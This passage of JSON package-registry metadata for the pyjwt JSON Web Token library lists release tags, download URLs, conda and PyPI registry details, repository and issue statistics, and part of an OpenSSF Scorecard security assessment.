pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-06-08T17:06:00.720Z","dependent_packages_count":16,"downloads":441589,"downloads_period":"total","dependent_repos_count":370,"rankings":{"downloads":null,"dependent_repos_count":8.774583963691377,"dependent_packages_count":2.6626323751891072,"stargazers_count":11.891074130105899,"forks_count":13.73676248108926,"docker_downloads_count":null,"average":9.266263237518912},"purl":"pkg:conda/pyjwt","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/conda/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/conda/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/conda/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-06-08T17:06:00.562Z","issues_count":160,"pull_requests_count":291,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2270351.6938775512,"issues_closed_count":112,"pull_requests_closed_count":244,"pull_request_authors_count":83,"issue_authors_count":156,"avg_comments_per_issue":3.81875,"avg_comments_per_pull_request":0.8247422680412371,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":24,"past_year_pull_requests_count":74,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1540428.243902439,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":41,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":23,"past_year_avg_comments_per_issue":2.5,"past_year_avg_comments_per_pull_request":0.3783783783783784,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":31,"past_year_merged_pull_requests_count":37,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pyjwt/codemeta","maintainers":[],"registry":{"name":"anaconda.org","url":"https://anaconda.org","ecosystem":"conda","default":true,"packages_count":5200,"maintainers_count":0,"namespaces_count":0,"keywords_count":3232,"github":"Anaconda","metadata":{"kind":"anaconda","key":"Main","api":"https://repo.ananconda.com","funded_packages_count":759},"icon_url":"https://github.com/Anaconda.png","created_at":"2022-10-03T15:37:08.736Z","updated_at":"2026-06-10T05:18:41.108Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/namespaces"}},{"id":2874279,"name":"pyjwt","ecosystem":"pypi","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["json","jwt","security","signing","token","web"],"namespace":null,"versions_count":55,"first_release_published_at":"2011-02-24T21:51:08.000Z","latest_release_published_at":"2026-05-21T19:54:35.000Z","latest_release_number":"2.13.0","last_synced_at":"2026-06-18T04:14:30.892Z","created_at":"2022-04-10T12:14:13.189Z","updated_at":"2026-06-18T05:14:04.810Z","registry_url":"https://pypi.org/project/pyjwt/","install_command":"pip install pyjwt --index-url https://pypi.org/simple","documentation_url":"https://pyjwt.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["Development Status :: 5 - Production/Stable","Intended Audience :: Developers","Natural Language :: English","Programming Language :: Python","Programming Language :: Python :: 3","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: 3.9","Topic :: Utilities"],"normalized_name":"pyjwt","project_status":null},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-06-01T22:20:47.000Z","size":1264,"stargazers_count":5668,"open_issues_count":56,"forks_count":763,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-06-08T17:11:42.978Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-06-08T06:20:04.000Z","dependencies_parsed_at":"2026-05-29T04:00:13.295Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":49,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned 